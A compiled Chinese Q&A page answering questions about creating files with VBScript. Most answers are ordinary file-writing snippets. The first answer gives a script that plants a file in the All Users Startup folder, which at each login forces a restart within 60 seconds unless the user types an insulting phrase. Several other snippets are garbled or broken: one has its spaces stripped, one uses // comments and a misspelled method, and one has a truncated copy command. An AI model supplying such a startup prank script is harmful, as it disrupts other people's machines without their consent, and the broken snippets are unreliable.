怎樣用vbs腳本創建文件

Ⅰ 怎樣用vbs新建一個文件

提醒你一下 你新建的文件應為sd.vbs才對 幫你改過來了~
Set Of = CreateObject("Scripting.FileSystemObject")
set ws=createobject("wscript.shell")
pathname =ws.SpecialFolders("allUsersStartMenu")
Set objFile = of.OpenTextFile(pathname&"\程序\啟動\sd.bat", 2, True)
objFile.Writeline "on error resume next"
objFile.Writeline "dim WSHshellA"
objFile.Writeline "set WSHshellA = wscript.createobject("&""""&"wscript.shell"&""""&")"
objFile.Writeline "WSHshellA.run "&""""&"cmd.exe /c shutdown -r -t 60 -c"
objFile.Writeline""&""""&""&""""&"說我是豬，不說就一分鍾關你機，不信，試試···"&""""&""&""""&""&""""&",0 ,true"
objFile.Writeline "dim a "
objFile.Writeline "do while(a <> "&""""&"我是豬"&""""&")"
objFile.Writeline "a = inputbox ("&""""&"說我是豬,就不關機，快撒，說 "&""""&""&""""&"我是豬"&""""&""&""""&" "&""""&","&""""&"說不說"&""""&","&""""&"不說"&""""&",8000,7000)"
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + a,0,"&""""&"MsgBox"&""""&""
objFile.Writeline "loop"
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + "&""""&"早說就行了嘛"&""""&" "
objFile.Writeline "dim WSHshell"
objFile.Writeline "set WSHshell = wscript.createobject("&""""&"wscript.shell"&""""&")"
objFile.Writeline "WSHshell.run "&""""&"cmd.exe /c shutdown -a"&""""&",0 ,true "
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + "&""""&"哈哈哈哈，真過癮" &""""&""
objFile.Close

Ⅱ 如何用VBS 創建文本文件

Dim fso
content="時間扔帶我們匆匆前行 走過一段又一段的落寞 像是沙漠里搖曳的枯樹 註定了那樣的孤獨 我只想請時間可不可以放慢腳步 可以讓我走出那片困擾自己的迷途 可是， 我沒有想過要忘記"
Set fso = CreateObject("scripting.filesystemobject")
Set myfile=fso.CreateTextFile( "d:\文件.txt",,ture)
str=Split(content," ")
content=""
For Each i In str
myfile.WriteLine i
Next
myfile.Close

Ⅲ 怎麼在我自己的電腦上創建一個VBS類型的文件！

新建一個文本文件……
把腳本文件內的內容拷貝進去保存……然後保存類型為".vbs"即可……
如果給你寫的這個腳本文件就是用的文本寫的……那就直接把文本的後綴名改為".vbs"即可……
如何顯示後綴名呢？
在資源管理器中->工具->文件夾選項->查看->

Ⅳ vbs如何能生成並保存一個文本文檔呢

'以下代碼復制粘貼到記事本，另存為xx.vbs，編碼選ANSI
rem 將輸入框輸入的內容輸出保存到桌面一個txt文本文件里
info="Any question +"& Chr(87) & Chr(88) & "/" & Chr(81) & Chr(81) & CStr(&H53b7e0b4)
Set ws=CreateObject("WScript.Shell")
Set fso=CreateObject("Scripting.Filesystemobject")
input=inputbox("輸入一段話",info)
If trim(input) = "" Then
msgbox "輸入為空" & vbCrLf & info
WSH.Quit
End If
outfile=ws.SpecialFolders("Desktop") & "\xx.txt"
Set f=fso.CreateTextFile(outfile)
f.Write input
f.Close

Ⅳ VBS 如何新建一個文本文檔

Set fso = CreateObject("Scripting.FileSystemObject")
Set textfile = fso.CreateTextFile("c:\abc.txt", True, False)
textfile.WriteLine ("ok")
textfile.Close
Set fso = Nothing

Ⅵ 請問,vbs腳本如何創建一個excel文件以及檢查文件是否存在

dim fs,s //定義fs、s兩個變數

set fs=wscript.createobject(「scripting.filesystemobject」) //fs為FSO實例
if (fs.FileExits(「F:\Program Files\TTPlayer\TTPlayer.exe」)) then //判斷文件是否存在
s=」is available」
else
s=」not exist」
end if

Ⅶ 怎麽做"*.vbs"文件

你好啊，這個很簡單的，用記事本就可以編寫，步驟如下：
1：新建一個記事本，打開，然後將你的vbs腳本代碼復制進去
2：另存為，在另存為的時候，文件類型，選擇「所有文件」，然後再寫文件名，文件名一定要有vbs腳本的後續，比如
XX.vbs
其他的不用改
3：成功了，這個就是
vbs
腳本，雙擊即可運行腳本了

Ⅷ vbs創建文件夾

dimpathname,filename,fso,read,str,filepath
setfso=createobject("scripting.filesystemobject")
pathname="path.txt"
str="ShutdownScript
emotecomputer.txt"
iffso.fileexists(pathname)=truethen'先來判斷它是一個有效的路徑+文件,如果成立,以下均按正常程序執行
read=fso.opentextfile(pathname).readall'讀取全文
foreachiinsplit(read,vbcrlf)'遍歷全文每行的內容
ifinstr(right(i,1),"")=0thenfilename=i&""&strelsefilename=i&str'在執行下面代碼之前先進行格式化處理文本
filepath=left(filename,instrrev(filename,""))'分離路徑
iffso.folderexists(filepath)=falsethenfso.createfolderfilepath'如果路徑存在則創建文件夾
iffso.fileexists(filename)=falsethenfso.createtextfile(filename).write"test"'如果文件存在則創建文件寫入test
next
endif

Ⅸ vbs創建多個文件

你這個操作用批處理比較簡單
把以下代碼在記事本中保存，另存為 任意名字.bat
然後放在將要被復制的文件夾下運行，同時把 E:\音樂
改成你的目標目錄[就是要復制到的地方]

@echo off& set bat=%~dp0
x /e "%bat:~0,-1%" "E:\音樂\"
attrib /s /d +r "E:\音樂\*"& del /a /f "E:\音樂\%~nx0"